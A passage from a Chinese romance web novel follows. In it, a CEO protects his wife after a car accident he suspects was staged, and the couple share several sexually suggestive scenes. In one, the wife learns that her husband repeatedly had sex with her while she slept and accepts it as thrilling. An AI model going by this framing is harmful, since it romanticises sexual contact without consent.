%的分公司经受住了冲击,很不容易,少部分负利润的公司找出的问题根源,多和兄弟公司沟通沟通。” 上位者不会一味的夸奖或批评,而是有松有紧。 隔着屏幕,仍然能够感觉出来强大的气场和压迫感,哪个都是老狐狸,在谢屿舟面前仍会犯怵。 “散会。”谢屿舟停顿了数秒,留下负利润的几名总经理,“先去吃饭,半个小时后单独汇报。” 君姨做好了饭菜,听闻宋时微的车祸,花费半天的时间炖了滋补的汤。 谢屿舟捞起桌上的手机,看到余子昂的消息,闻言色变。 男人脚步顿住,立刻拨出去电话,“怎么回事?” “你总算回电话了。”余子昂一直在等他的回电,“经过我几个月的蹲守,套出来几句话,十有八九和‘钱’有关,她们家之前的老房子在当年九月的时候被贱卖掉了,就你出国之后,重点来了,卖掉之前已经是抵押状态,所以拿不到多少钱。” 二手房交易不像新房有政府备案,更何况过了七年,中间不知道被转卖过多少次,抵押状态更是无从查起。 宋时微消失之后,谢屿舟没有找到她,精神颓靡了一阵,便在谢宏恺的安排下强行出国。 隔着千山万水,自此无法再调查。 半年后回国,那时早已物是人非,有关她的信息全部被抹去,谢宏恺不让他查到一丁点消息。 羽翼未满,无法与他爸抗衡。 他不认识她的邻居亲戚,只知道大概发生了什么事,具体的一概不清楚,后来再想调查,难如登天。 谢屿舟从余子昂寥寥几句话里总结出关键信息,按照以往,六月初学区划分出炉,六月学校报名,在此之前学生的户口和住址要达到“两个一致”。 显然,九月份不是二手房的交易高峰期,卖这么急,只能说明她缺钱,急需要钱。 九月份,交学费吗?当时不是还清了吗? 余子昂又说:“事情过去了七年半,许多人买房换房搬离了老小区,能找到的人也都说忘了,没有人会无缘无故关心之前的事,现在诈骗那么多,警备心强得很。” 谢屿舟问:“现在的房主是谁?” 余子昂:“信息发你了,她准备把房子卖了,小孩初中还有一年多,不过卖得不急,不想低价卖。” 谢屿舟:“我知道了,谢了,车过几天拿给你。” “不用。”余子昂有一个预感,他可能误会了宋时微。 这时,有人按响门铃,是章寄雪,她听说宋时微车祸的消息,立刻拎了补品过来看望。 “微微,你怎么样了?” 宋时微上去迎她,“没什么事,皮外伤。” “我看看。”章寄雪快步走上前,心疼打量她,摸摸她的头发,“都是屿舟的错,公司不是有司机吗?出差可以让司机开车去啊。” 后半句是教训谢屿舟的话。 宋时微解释,“妈,那个是意外,司机开车还会连累司机受伤。” 章寄雪愤愤道:“谁撞的你,我要去教训他,开车一点都不! 注意,当生命是儿戏啊。” “妈,遵纪守法。”谢屿舟适时插话,阻止妈妈的行为,凭借他妈风风火火的性格,一定会找人揍他们。 如果妈妈知道是预谋,更拦不住了。 谢屿舟牵住宋时微的手,带两个人去餐厅吃饭,男人摸到她掌心的茧,像被戳到了打通阻碍的点。 卡在脑袋里的石头,瞬间消散。 有时候,解开绳团只需要一根小小的线,剩下的信息便如多米诺骨牌一般涌入脑海。 谢屿舟心里隐隐有了猜想,在脑海里进行复盘。 宋时微和她的妈妈是两个成年人,她勤工俭学加上妈妈上班,日常花销加学费没问题,更何况还有国家贷款。 所以,绕回最初的问题,她为什么要做那么多份兼职?为什么要这么累? 答案显而易见,她缺钱,极度缺钱。 这就是他遗漏的部分,他以为还清了,一定有不在明面上发生的债务。 谢屿舟掏出手机,【能查到宋时微过去七年的汇款情况吗?】 余子昂:【我找人,应该可以。】 所以这些年他在恨什么? 谢屿舟在桌底攥紧宋时微的手,捏在掌心里。 “吃饭还玩手机,比国家领导还忙。”章寄雪问:“你接下来的出差能推掉吗?” “我心里有数。”谢屿舟搁下手机,给宋时微盛汤剥虾。 章寄雪看他儿子体贴的行为,气消了一大半,“你最好是。” “被你气糊涂了,都忘了要说什么。”章寄雪对上宋时微,换了平和的语气,“微微,奶奶和外婆在外旅游,正在赶回来的路上。” 宋时微受宠若惊,连连摆手,“妈,不用的,让外婆和奶奶在外面玩,我真没什么事,而且路上滑,过来也危险。” 章寄雪宽慰她,“没事,她们也要回来了。” 临走前,章寄雪从包里掏出两件金子平安扣,“这是你奶奶和外婆托我给你的,保平安。” 宋时微犹豫几秒,笑着接过沉甸甸的平安扣,“好,谢谢妈。” 三个人一同朝电梯口走去。 章寄雪:“屿舟送我,微微你回去歇着。” “好,妈,再见。”宋时微明白他们母子之间有话要说,借口支开她。 电梯急速下行,章寄雪开口:“你爸那里,随他吧,日子是你俩过,微微那边你解释,让她不要在意。” 儿媳妇出了车祸,于情于理都应该过来看望,但她使唤不动固执的人。 “我知道。”谢屿舟:“妈,你之前不是不同意吗?” 当时,谢宏恺是做出实际行动的不同意,妈妈是口头上不同意他和宋时微在一起。 “想开了。”章寄雪拍拍儿子的胳膊,“你都非她不可了,我肯定要把她当自己孩子对待,毕竟我也是从媳妇过来的。” 其实,她第一次和宋时微见面没想起来她是谁,想着有个人能让儿子放下过往,挺好。 后来才反应过来,还是七年前的女孩。 为数不多的! 几次相处,对宋时微放下了偏见,最重要的是,谁让儿子喜欢呢。 谢屿舟:“谢谢妈。” “你少气我点,比什么都强。”章寄雪坐上车,“上去吧,好好照顾微微。” 谢屿舟转身上楼,宋时微正蹲在地上和小猫玩耍,给猫夹发卡。 阳光照在她的身上,笼罩了一层温暖的光。 小猫珊瑚绒的睡衣衬托得她可可爱爱,看着柔软得很。 谢屿舟在她旁边蹲下来,“困吗?要去睡觉吗? ” “不困,我睡太多了。”宋时微只想和猫玩,“你去忙你的吧,我和布丁玩一会儿。” 昨天南城下了大雪,今天雪后初霁,她不能出去玩。 人啊,是很奇怪的生物。 她小时候最讨厌下雪,不打雪仗不垒雪人,拥有的时候不珍惜,现在倒想出去了。 猝然间,谢屿舟扭头温柔吻上宋时微的唇,像蜻蜓点水,只是没有着急离开。 “喵呜喵呜。”布丁仰起小脑袋,冲他们叫唤。 但,无人在意它。 反而还被谢屿舟捉住,盖住了眼睛。 布丁:不就是接吻吗?有什么是它不能看的。 它叫唤得更凶,“喵喵喵。” 渐渐的,吻变了味道,男人的舌头长驱直入,闯入她的口腔。 似乎想证明什么、确认什么。 “好疼。”宋时微突然喊了一声,谢屿舟不小心碰到了她的手臂。 谢屿舟当即停下失控的吻,撸起她的袖子,“我看看。” 白皙手臂上的淤青愈发明显,看着骇人,紫青色几乎占据整条小臂,这样的伤疤在她的四肢上有很多。 男人的眼神倏然变暗,捏紧了拳头。 宋时微推他催他,“你快去开会,不要让别人等。” 谢屿舟揉揉她的发顶,“好,他们得感谢你。” 恰巧,孟新允发来消息,【谢总,跟踪他们的人刚刚来报,他们正在臻悦府,绕着小区四周转了一圈,看着像在踩点,也可能在找空子进去。】 谢屿舟:【再调两个保镖,时刻保护太太。】 孟新允:【明白,我这就去安排。】 连宋时微居住在哪里都知道,可能知道她和他的关系,是竞争对手吗? 实际冲他来的,以宋时微为突破口。 他在无形中得罪了谁根本不清楚,现在处在年关的关头,不知道会做出什么事。 看来他的第六感没有错,不是一起简单的交通肇事。 从这一天开始,谢屿舟寸步不离宋时微,保镖更是轮班制,三班轮换,昼夜不停。 就这样大概过了一周,孟新允来报,【谢总,那两个人回老家了,没有开车,买的高铁票。】 谢屿舟:【好的,我知道了。】他不认为他们是放弃了,只是他最近保护得严实,找不到突破口罢了。 在家休养了一周,宋时微的伤好得七七.八八,可以回归工作。 其实她身上的伤早就消除了淤青,! 只是谢屿舟不放心,让她在家休息。 她都快要生霉了,连带上班都显得眉清目秀。 第 49 章 第49章 两相对峙之下,宋时微的眼神变得凌厉又固执,“谢总,你是做了什么亏心事吗?” 今天被审问的人变成了谢屿舟。 谢屿舟细细思索片刻,忧心忡忡开口,“你车祸的事情,我怀疑是有人蓄谋,应该是有人雇了那两个男人跟踪你,找机会下手,目前看来,是吓唬你居多。” 她从来不是菟丝花,不是需要被人保护在温室里的花。 这件事不会隐瞒,更何况,他要出差,让她知道实情也好,多个防备。 宋时微震惊了一秒,“我没得罪过谁啊。”她刚回到南城,按道理不应该。 谢屿舟的胳膊越过餐厅桌面,牵紧宋时微的手,“你别太害怕,我安排了4个保镖在你身边。” “我不害怕。”谢屿舟不知道的是,为了照顾妈妈,她特意学了防身术,保护自己不成问题。 她问:“这一段时间保镖都在吗?” “对。” 对此,她竟毫无察觉,专业的保镖是不一样,无影无踪。 宋时微:“我知道了。” 谢屿舟不再有任何隐瞒,“那两个男人回老家了,不排除会有新的人来,我不在,保镖会贴身保护。” 宋时微心下了然点点头,她提出一个猜想,“有没有可能是冲你来的?” 谢屿舟:“有可能。” 商场斗争中,不像网上说的浇发财树那么简单,一步生一步死,许多人时刻需要保镖的原因。 宋时微担忧道:“那会不会公布我们已婚的消息?” 谢屿舟拍拍她的手,“公布这个消息对我们形成不了威胁,打击不到什么东西,没什么作用,别担心。” “行吧,只要他们出手,一定会露出马脚。”宋时微想得开,整日提心吊胆没有必要。 现在法治社会,还能公然行凶吗? “真不和我去?”谢屿舟没有放弃,目光灼灼盯着宋时微,鼓动她和他一同前往新昌。 保镖再厉害,没有自己时刻看到放心。 宋时微抽回自己的手掌,无情拒绝,“不去,在南城还自在些。” “行吧。” 谢屿舟不再纠结让她陪他一起去。 至于七年前的事,他没有提及更没有问,没有人会把 自己的伤口剖析给亲近的人看。 晚饭后,宋时微尽到另一半的责任,给谢屿舟整理出差用的行李,大到一件外套,小到剃须刀都装了进去。 “护肝片、胃药和解酒药装在蓝色的包装袋。” 谢屿舟微皱眉头,“没有其他叮嘱的了吗?”比如查岗,比如少喝点,比如要打电话,这些通通都没有。 在她的世界里,很放心他。 宋时微:“没了。”她可是对着出差旅行清单整理的物品,不可能有遗漏。 两个人的思维根本不在一个层面。 睡觉前,谢屿舟坐在床上,例行查看宋时微的四肢,看看伤口的恢复情况,淤血散去,破皮的地方留下了疤痕。 比! 起当事人,他更心疼。 “胳膊和腿还疼吗?” 宋时微摇头,“不疼了。”她不是疤痕体质,伤痕很快会消散。 男人宽大的手掌握住她的脚踝,查看腿上因车祸留下的伤口,结了痂,寻思需要买祛疤痕的药膏才行。 就在他出神之际,宋时微她的嘴角擒着狡黠的笑,隔着明亮的灯光,看他。 之前在别墅就是这样对他。 男人一开口的腔调是浓浓的喑哑声。 他掌控不了自己的情绪,手背的血管蜿蜒至手臂。 就这样安静对视,空气缓慢流动。 谢屿舟攥紧她,眼神深邃,“想了,是吗?” “不想。”宋时微收回腿,钻进被窝,“睡觉。” 谢屿舟没有闹她,老老实实抱她睡觉。 不合常理。 灯光熄灭,男人没有下一步行动,在顾及她刚好的身体吗? 夫妻躺在一起,摸摸抱抱是基本操作,很多时候手比脑子反应快。 谢屿舟捉住宋时微的手,问她,“你在考验我的自制力?” 现在和她斗嘴已然成为习惯。 宋时微有点懵,她什么时候,刚才吗?她怎么没有一丁点印象。 “我不小心的。”实话实说,出于习惯,又不是故意的。 谢屿舟“哼笑”一声,“那我也是不小心的。” 不到一分钟,男人道:“这么快就……” “你闭嘴。”宋时微正处于激素波动时期,本就容易上火。 她根本没法说谎,肢体语言不会骗人,男人越来越得意,以为是他的杰作。 谢屿舟嗓音沙哑,咬住她的耳垂,“说要我,我就给你。” “要。”宋时微遵从内心,他出差不知道多久,当下最重要。 谢屿舟却说:“我今天不想给你睡。”床上下有多心疼,在床上总要吵架拌嘴。 宋时微:想骂人。 “不行就是不行,老了就是老了,到处找理由。” “一直没变的激将法。”谢屿舟给她提建议,“或许,时时你可以试试美人计。” 黑夜中,知道他看不见,宋时微仍剜了他一眼,“你!不配。” 谢屿舟:“那谁配?” 他趴在她的耳边,继续说:“还舍不得我离开。” “它正在……”剩下的话震动耳膜,宋时微脸颊红透。 他现在说这些轻佻的话脸不红心不跳,语气没有一丝异常,好像在说什么报表似的。 宋时微不遑多让,“谢总,坏了我不负责。” “不让你负责。”谢屿舟一心二用,宋时微倒困了,一晚上拌嘴,对睡眠有好处。 至于他怎么办?她给过机会了,他不要。 谢屿舟想得很简单,让她想着思念着,不急于一时。 翌日,宋时微在睡梦中,隐隐约约觉得嘴巴上覆上一层凉意,她意识不清醒,条件反射回吻他,“注意安全,拜拜。” “好,你继续睡吧。”谢屿舟乘! 坐早班飞机前往新昌。 宋时微在上班路上格外注意周遭的情况。 不过,四个保镖身宽体胖,任谁看到都会避而远之。 在办公区,人员密集,自不用担心。 一整天并没有发生什么异常,但不能掉以轻心。 临下班前,林以棠给宋时微打了电话,“宝,我回来了,快来快来我家玩。” 天知道,她这几个月有多惨,从国外回来的第一件事,约朋友出去吐槽。 “好,地址发我。”特殊时期,宋时微告诉谢屿舟晚上去林以棠家里的事,男人让她把保安带着,倒没有阻止她。 【我知道了,拜拜。】 谢屿舟:……他的手指滑动屏幕,除了日常报备和工作,他们没有聊过其他的话题。 她可真行,不问他年会开得怎么样,现在连少喝酒都不说了。 男人拍了几张年会现场的照片发给宋时微,分公司的总经理说:“谢总,我们有专业的摄影师。” 谢屿舟摆了摆手,“不用,我发给太太看的。” 其他人:哦~人都不能免俗,聊一些大众话题。 孟新允:常规操作,看你们大惊小怪的。这半年,他狗粮吃得饱饱的。 不出意外,谢屿舟没有收到宋时微的回复,她正在林以棠家涮火锅。 林以棠在门口看到四名保镖被吓了一跳,关上大门先吐槽起谢屿舟,“谢屿舟在搞监禁吗?还找四个人看着你,这是东南西北各站一个,让苍蝇蚊子都飞不出去吗?他知不知道这是违法的事。” “不是,他出差了,这不是年底比较乱吗?”宋时微不是卖惨的人,没有告诉林以棠她出车祸的事情,就连葛书韵都不知道。 于是编了其他的理由。 林以棠晃了下手指,“我看未必,七年他已经变态了。” 变态是变态了,只是不能和外人道也。 宋时微关切问道:“顾裴司没回来吗?”他也很惨,喜欢上自己的助理。 明面上被爷爷派去欧洲开拓市场,实际是想拆散小情侣。 林以棠:“又被老爷子放到北非去了,所以啊,不是所有人都是谢屿舟,能强硬和他爸对抗。” 每个人有每个人的资本,谢屿舟更像韬光养晦,不动声响,七年老老实实,听谢宏恺的安排。 殊不知,回国接过谢宏恺的职务,直接肃清关系户,后面的婚姻更是先斩后奏。 纯辣火锅咕噜咕噜冒着热气,空气里布满辣椒和花椒的香味。 鹅肠微微蜷缩,清爽脆嫩,牛肚百叶带着韧劲,搅动味蕾,嫩肉片裹满辣椒面,在口腔内爆发。 吸饱汤汁的响铃卷、纯蟹肉的蟹腿、还有鲜嫩的皮皮虾,一锅的美味,两个女生此刻没心情吃。 宋时微深思,“那他还能回来吗?” 林以棠:“老爷子爱之深,恨之切,短时间内回不来,在欧洲我见过他,完全大变样,瘦了成熟了。” 由俭入奢易,由奢入俭难,更何况白人的饭幸福感太低。 宋时微感慨,! “希望他早日回来吧。”所以她不愿谢屿舟这样,天之骄子跌落神坛,吃尽苦头。 年少的喜欢在现实面前不堪一击、一碰即碎。 林以棠搅动锅底的牛肉,“有一件事忘了告诉你,前几个月吧,谢屿舟他爸还在找其他人聊谢屿舟联姻的事,想给他介绍对象,被他严词拒绝,然后,重点来了,不知道从哪传出来,说‘谢屿舟和他老婆感情很好,高中就认识了,多年感情,结婚是水到渠成’,大概就这样的说辞。” 除了顾裴司和林以棠,宋时微不认识他们圈里的人,无从得知这些传闻。 林以棠顾不上吃饭,有一大堆话和宋时微说:“你是不知道,那几天我的手机快被打爆了,都在问我是谁,我没和你说,是不想你心里添堵,毕竟八卦几天就消 失了,在网上也说不清楚,不如当面告诉你。” “我知道,谢谢你。”还能是谁散播出来的呢,除了谢屿舟,没别人了。 宋时微问:“你这几个月在干嘛?”林以棠是突然出国,说培养感情,结果数月未归,若不是天天给她发微信,都要以为她被绑架诈骗了。 提到这个,林以棠更来气了,“我睁眼闭眼都是顾景渊,快看吐了。” 没人告诉她,培养感情是天天做啊。 宋时微捞起最辣的一片牛肉,“婚礼什么时候办?” 她忌口了一个多星期,早就想念这一口。 遥想林以棠夏天办单身派对,如今快过年了,婚礼还没提上日程,婚礼方案被她一一否定,故意和顾景渊做对。 提到这个,林以棠更生气,“再说再说,让他等着吧,奇奇怪怪。” 她神秘兮兮地说:“我是偷跑回来的。” 宋时微蹙眉,“为啥啊?” 林以棠眉峰紧锁,“他让我想,什么时候见过他,什么时候想起什么时候回国,我根本就没见过他,怎么能想得起来。” 宋时微抿唇笑,“噢~原来搞囚禁的是顾景渊啊。” 林以棠挠挠头发,“也不算,他用钱诱惑我,又是看秀又是买高定,一买就是一沓,谁能抵抗住珠宝和衣服的诱惑。” 宋时微:“他这都没有范围,每天见过那么多人,怎么知道什么时候在哪里见过。” 林以棠深表赞同,“就是说啊。” 两个女生聊到大半夜,火锅底料都熬干了,才结束谈话。 宋时微在保镖的护送下回到臻悦府。 偌大的房子,空旷空洞,两只猫进入了梦乡,安静得仿佛能听见木板热胀冷缩的声音。 宋时微走进浴室,洗去身上的火锅味,鬼使神差用了谢屿舟的沐浴露和洗发水。 是独属于他的味道,雪松木质香。 第 50 章 第50章 宋时微的意识尚不清晰,头脑迷迷糊糊,加上晚上喝了酒,说话肆无忌惮,“那你先去洗澡,有点职业操守。” 得,这是真把他当男模了。 谢屿舟想亲她的嘴唇,被她偏头躲了过去,“你不干净。” “我去洗澡。”男人走进浴室,响起哗啦啦的水声。 他洗了平生最快的一次澡,换上棉质睡衣。 晚上开主灯光线刺眼,谢屿舟弯腰伸出宽大的手掌,遮住宋时微的眼睛,方才打开壁灯。 宋时微睁开眼睛,适应了光亮,直接坐了起来,借助昏暗的光线来回打量谢屿舟。 女人眉头蹙起,白净的脸上泛起红晕。 “你穿这么严实干嘛?” “你没有马甲吗?” “你没有袖箍吗?” 她一连三句认真地质问,谢屿舟确信,她还没有完全清醒。 “你晚上喝了什么酒?” 宋时微摊开手臂,“啤酒啊,又不醉人。” 谢屿舟不相信她的荒谬言论,对于普通人来说,啤酒是不醉人,但是看她的状态,不是微醺这么简单。 男人没有接她的话,也没有去换衣服,宋时微语气不耐,“你看你都不换衣服,一点都不听话。” 大丈夫一言九鼎,谢屿舟想看看她能玩什么把戏,他转回衣帽间,找到衬衫、马甲和袖箍,骨节分明的手指拎着黑色的物品,扔在床上。 谢屿舟还没有穿,宋时微已然咽了口水,禁欲又矜贵。 男人一点一点解开睡衣纽扣,腰腹肌理分明,宽肩窄腰,紧致又充满力量感。 他首先拿起白衬衫,宋时微急忙命令道:“马甲里面,不要穿衬衫,你没去会所看过男模啊。” 谢屿舟:还真没有,他一个大男人去看男模做什么。 “你去过?” 宋时微点头,“去过啊,清一色190男大学生,青春洋溢活力四射。” 谢屿舟听到这两个形容词,眉头皱得更深,靠‘身体’挣钱的男的,和青春有什么关系。 不守男德,不检点。 宋时微抱紧胳膊瞅他,绷着脸教训道:“你快换,一点都不听话,不然换人了。” 她俨然进入角色,把自己当成了来消费的人,指挥谢屿舟怎么做。 男人按照她的指示穿好了衣服,今晚陪她玩玩。 宋时微露出笑脸,“这样才对嘛,小伙子很有前途。” 墨蓝色马甲绷在身上,饱满的胸肌若隐若现,肱二头肌随着他的用力而凸起,袖箍紧绷到极致。 就是这张脸,太冷淡,勉勉强强可以看。 宋时微盘腿坐在床上,仰头看他,“所以,谢总,接下来你要怎么做呢?” 谢屿舟低头,抬手扣住她的脖颈,居高临下亲吻她的嘴。 同时牵住她的手,伸进马甲里。 腹肌的手感刚刚好,像软硬适中的水果,口感恰到好处。 男人的一条腿屈膝架在床上,上半身不断进攻下压,微! 潮的头发有水珠低落,落在她的睫毛上。 充满雄性的荷尔蒙气息,不断向宋时微的鼻腔里钻,她的睫毛似蝴蝶簌簌抖动。 ‘砰’,她倒在床上,高弹力的床垫像蹦床,她的身体回弹了一下。 唇与唇始终未分离。 室内温度在地暖的作用下节节攀升,额头上沁出了汗珠。 唇间短暂的分离,宋时微的眼睛似乎蒙上一层水 雾,在暖色灯光的映照下,更添朦胧美。 她静静盯着他,给人一种深情的错觉。 宋时微的指甲划过他的喉结,故意逗留一番,挑眉看他,“喊姐姐。” 指甲划得他痒痒的,谢屿舟口干舌燥,断然拒绝,“不行。”漆黑眼眸写满‘不可能’这三个字。 宋时微嘟囔,“你说今天要听我话的。” 谢屿舟在心里默念‘姐姐’这个称呼,到了嘴边,又咽了回去。 他做不到。 宋时微愠怒道:“你怎么一点都不听话,我的玩具呢。” 谢屿舟的喉咙溢出暧昧的笑,“被我扔出去了,我来代替它。” 有他在,休想用那个破玩意儿。 “我没让你舒服吗?” 宋时微瞪着他,“没有。” 谢屿舟幽幽道:“是吗?”男人自顾自行动,扣住她的手,咬住她的脖颈。 宋时微腾出手捶他,“谢屿舟,你说话不算话,你说要听我的。” 男人停止亲吻,拨开她乱掉的头发,“我听你的,要我做什么?” 宋时微:“我要喝水。” 如果是谢屿舟在家,他会在床头柜上放一个保温杯,担心宋时微半夜起来想喝水。 他今晚不在家,所以要出去接水。 只是,男人没有把水杯递给宋时微,而是喂给她喝。 谢屿舟:“好喝吗?”他的嘴角残留水滴,顺着脸颊没入马甲中。 宋时微抹抹嘴巴,“难喝死了。” 谢屿舟轻笑一声,“我知道哪里的好喝。” 男人掀开裙摆,蹲了下去。 谢屿舟偏偏不是老实的人,他还要用言语增添旖旎暧昧,“自己玩的时候想的是我吗?” 宋时微咬住唇瓣,“不是。” 她垂眸向下望,袖箍卡在冷白劲瘦的手臂上,绷到极致。 不知道弹力如何? 然而下一秒,袖箍的卡扣弹开,不知绷到了哪里。 不得不说,臻悦府的地暖效果太好,室内外温差极大,一边在夏季,一边在深冬。 宋时微又热又渴,手指抓着被单,“你怎么半夜回来了?” 谢屿舟:“因为你想我了。” 宋时微否认,“我才没有。” 谢屿舟不疾不徐道:“乖乖,都这样了,你要不自己摸摸呢。” 他拉住了她的手。 怨不得警察破案会看肢体语言和微表情,这很难说谎。 地暖由智能app控制,调低了温度,余温还在。 ! 如同她一样。 宋时微头皮发麻,“不是这样,男模只卖艺。” 谢屿舟:“我赠送给你的,不收费。” 宋时微:“你这是强送。” “是又如何。”谢屿舟捂住她的嘴巴,暧昧的声音被他捂在了掌心。 后半程,两人轮流做主导。 “对,乖乖,就是这样,很棒。” 她踩他。 他鼓励她。 *** 宋时微不知道谢屿舟回来做什么,最后昏昏沉沉睡了过去。 翌日,宋时微迷迷糊糊,谢屿舟还在,“你没睡觉?” 她记得睡觉前是这样,怎么醒来还是这样。 似乎好像一直在里。 难道说,她以为的春/梦,其实都是真的吗? 换言之,她在睡觉的时候,被他…… 不止一次,经常发生,宋时微坦然接受,甚至觉得刺激。 她好像也有一点儿bt。 “你睡着的时候也会……”谢屿舟说些孟浪的话,毫不害臊。 “你自己看看。” 宋时微捏捏手指,“我不看,我知道。”她往他身上擦。 清晨,薄雾劈开了黑夜与白天。 而她亦是如此。 宋时微再次昏睡过去,等到日上三竿时,谢屿舟已落地新昌,向她报了平安。 她没有断片,所有的记忆清清楚楚地出现在她的脑海里。 昨晚她做了什么? 趁着酒醉把谢屿舟当男模,让他伺候她服务她。 还有玩具是怎么回事? 好像他听到了她玩玩具的声音。 这有什么大不了的,谁还没有点生理需求,她又没有出去找男人。 地上被谢屿舟收拾得干干净净,好像拖了地,昨晚的痕迹就不存在了似的。 她站着,他单膝跪地,埋在裙子里。 越回忆越想,他致力于发挥自己的技术,反复询问,“怎么样?怎么样?” 实话是,他进步了。 原本就不差。 —— 临近年关,谢屿舟更忙碌,经常过几个小时才能回复消息。 新昌分公司的年会结束,又奔赴下个分公司。 各个分公司举行年会的时间接近,最近他是忙得分不开身。 说起来,宋时微有一周没有见他。 好像一周前的那晚,真的是一场梦,一场酣畅淋漓缥缈的梦。 不过,保镖贴身保护,没有再发生意外。 谢屿舟再忙,每晚会找宋时微视频,不是非要做什么,很多时候是各自忙各自的事。 “晚上吃的什么?”今儿难得没有应酬和饭局,谢屿舟盯着屏幕里的女生看。 不知道是许久没见,还是屏幕不上镜,觉得她胖了,想捏。 “让君姨做了冒菜,我一个人不好炒菜。” 宋时微找出下饭剧,有一搭没一搭的和他聊天,话家常。 “对了,! 糖糖的婚礼时间定了,在春分那天。” 谢屿舟了然道:“我知道了,我安排好时间。” 宋时微知道,谢屿舟和她不同,领导的邀约和应酬需要提前很久决定好。 男人又问:“我们的婚礼你想在哪天?” “我都行,不冷不热的时候吧。”宋时微的话到了嘴边,问了出来,“你家亲戚还有合作伙伴是不是都要请?” 谢屿舟的婚礼不是可以应付了事的,都是人情和人脉。 婚礼不可能不邀请公司的中高管,这意味着要公开。 第 51 章 第51章 孟新允注意到老板的脚步顿住,顺着他的视线向前望,果然看到了老板娘,不枉他偷偷传递情报。 谢屿舟猜出怎么回事,觑了一眼身旁的助理。 “谢总,行李给你,我就先走了。”孟新允腆着脸笑,跟随拥挤的人潮,向地下停车场的方向走去。 谢屿舟淡瞥他,“去吧。”男人抬起长腿,推着行李径直走到日思夜想的老婆面前,牵住她的手,放在掌心里捂,“这么凉。” 她的手像从冰水里刚拿出来。 “还好呀。”宋时微直接放在他的大衣口袋里,用他的手给自己取暖。 男人的体温日常偏高,冬天是天然的取暖圣手。 南城深夜,处在寒冷的冬季,窗外又飘了雪。 宋时微拽住谢屿舟,上前喊孟新允,“孟助,你住哪儿?我们送你一程。” “不用,谢谢老板娘的好意,我有人来接。” 孟新允果断拒绝,他宁愿排队等出租也不要做电灯泡,老板凌厉的眼神会把他就地杀死。 谢屿舟沉稳道:“有陈叔送他。” 宋时微了然,“这样最好了。” 车子停在地下停车场,三个人不得不同行,一路上,孟新允悄悄用余光打量谢屿舟,老板的心情肉眼可见变好。 他在飞机上都不敢直视老板的脸,看过手机里的资料后,脸色阴沉得像7月的雷暴天,秒变黑夜。 结果,在出口见到老板娘后,立刻转晴,川剧变脸都没他变脸的速度快。 谢屿舟斜乜孟新允一眼,无声扫视,仿佛在说,回头在和你算账。 孟新允敛了表情,“老板、老板娘,我先走了,拜拜。” 待人离开视线以后,宋时微问:“你凶他了?” 谢屿舟顿感冤枉,“我都没开口说话,他可能有事。” “哦哦哦。”宋时微一副不相信的表情。 窗外簌簌落雪,谢屿舟自觉坐到驾驶座,宋时微刚坐稳,扯安全带的过程中,男人越过中控台,扣住她的后颈,掰过她的脸,径自吻上她的唇。 宋时微只觉得眼前突然变黑,微凉的薄唇便覆了上来,他咬住她的唇瓣,舌头用力向里探。 裹挟着狂风骤雨,呜咽声被他吃掉。 马达和汽笛声不断从宋时微的耳边呼啸而过,她攥紧袖口,前面玻璃打开没有防偷窥模式,不知道会不会被人看见。 在逼仄的环境中,紧张的情绪成倍滋长,随之而来的还有剧烈的心跳声。 ‘咚咚咚’,传入耳中。 他好似在发泄什么情绪,但又不似平时的狠厉。 四周的空气急速升温,她缺氧,脸颊染上薄红。 短暂激烈的吻之后,谢屿舟的双手捧住她的脸,轻轻亲她,亲一下看一下她。 平日里漆黑的眸,掠过不属于他的温柔。 和他对视,一股难言的异样在宋时微心里升起,又说不上来是怎么回事。 谢屿舟不着急走,一直亲她、啄她。 男人借助地! 下车库微弱的灯光,目光灼灼地望着宋时微。 她和七年前不太一样,褪去了婴儿肥和活泼,其实关于她的记忆慢慢模糊,却从来没有忘记过。 现在的她,倔强的清冷感扑面而来。 宋时微趴在他怀里喘气,谢屿舟揽住她的背,慢慢抚拍,像哄小朋友似的。 半晌沉默之后,男人的下巴架在她的肩膀,“怎么想着来接我?” 宋时微反问道:“想来就来了,谢总不欢迎吗?” 她在玩他的领带,缠在手指手绕圈,卷起又舒展开。 “欢迎。”谢屿舟打趣道:“我都不知道孟新允是我的助理,还是你安插在我身边的人。” 宋时微坐正身体板着脸,义正辞严说:“当然是你的助理啊,只是我偶尔问个事情,孟助有职业操守的,机密是不会告诉我的。” 谢屿舟意味深长地说:“我看马上就倒戈了。” 宋时微微弯眼眸,“那也说不准,到时候查岗方便。” 对此,谢屿舟坦坦荡荡,“随时欢迎太太查岗。”男人低头又啄了 下她的唇。 宋时微推开他的胸膛,“可以出发了吗?谢总。” “可以。”谢屿舟启动汽车,驶入机场高速。 机场附近不能建造高楼大厦,四周漆黑一片,透过射出来的车灯,看到一片片雪花。 宋时微按开车窗,冷风灌入脖颈,雪花飘在掌心,手即刻被冻僵。 美丽动人,她赶紧关上窗户。 谢屿舟:“你以前不是最讨厌下雪?”高中下雪,别人趴在窗边看雪,只有她毫无兴趣,抱紧暖水袋。 重逢后忌讳提到高中,现在快免疫,宋时微:“从前是不喜欢,现在觉得偶尔飘一场雪也不错,下多也不喜欢。” 雪打在玻璃上,雨刷器来回作业,地面湿滑,谢屿舟放慢了车速。 车载音响播放舒缓的轻音乐,副驾驶座的人没有了动静,没有和他继续聊天。 谢屿舟偏头看向宋时微,恰巧她也在看他。 她正微蹙眉头,眼里闪过一丝疑惑,“谢屿舟,你想离婚了还是怎么了?今晚不太对劲。” 温柔就不是他的性格,生吃活剥才是常态。 谢屿舟陡然笑道:“离婚就别想了,这辈子不可能离。” “那你为什么一直看我?”她观察了一晚上,时不时看她,还用柔情的眼神,像被别人附体,怪瘆人的。 “小别胜新婚。”恰遇红灯,谢屿舟踩下刹车,身体侧坐,眼睛直直看向她,“我看我自己老婆,怎么了?” 宋时微:“没怎么,你奇奇怪怪。” 谢屿舟:“哪里奇怪?” 宋时微直言,“就你今天对我过于温柔,你在出差的时候有人给你送美女,你没把持住诱惑,还是说你给我买了巨额保险。” 谢屿舟被她气笑,正经强调,“收起你的脑洞。” 他说:“我还觉得你今天奇怪,竟然来接我,” 宋时微开玩笑说:“我怕你半道被妖精截跑了,十里八! 乡有名的美男子。” 绿灯亮起,谢屿舟回她的话,“太太放心,我只会被一个人截跑,你猜是谁?” 宋时微的手指蜷缩,压在腿下,“是鬼吗?还是妖?亦或者是魑魅魍魉。” 她插科打诨的一句话,掩饰内心的真实想法。 心跳如擂鼓,会期待他直接告诉她。 谢屿舟轻启薄唇,“是你。” 宋时微内心雀跃至极,面上不显,“我才不会截你。” 谢屿舟拆穿她,“又不是没截过。” 宋时微:“那是你情我愿,你也不吃亏,说得好像你不爽一样。” 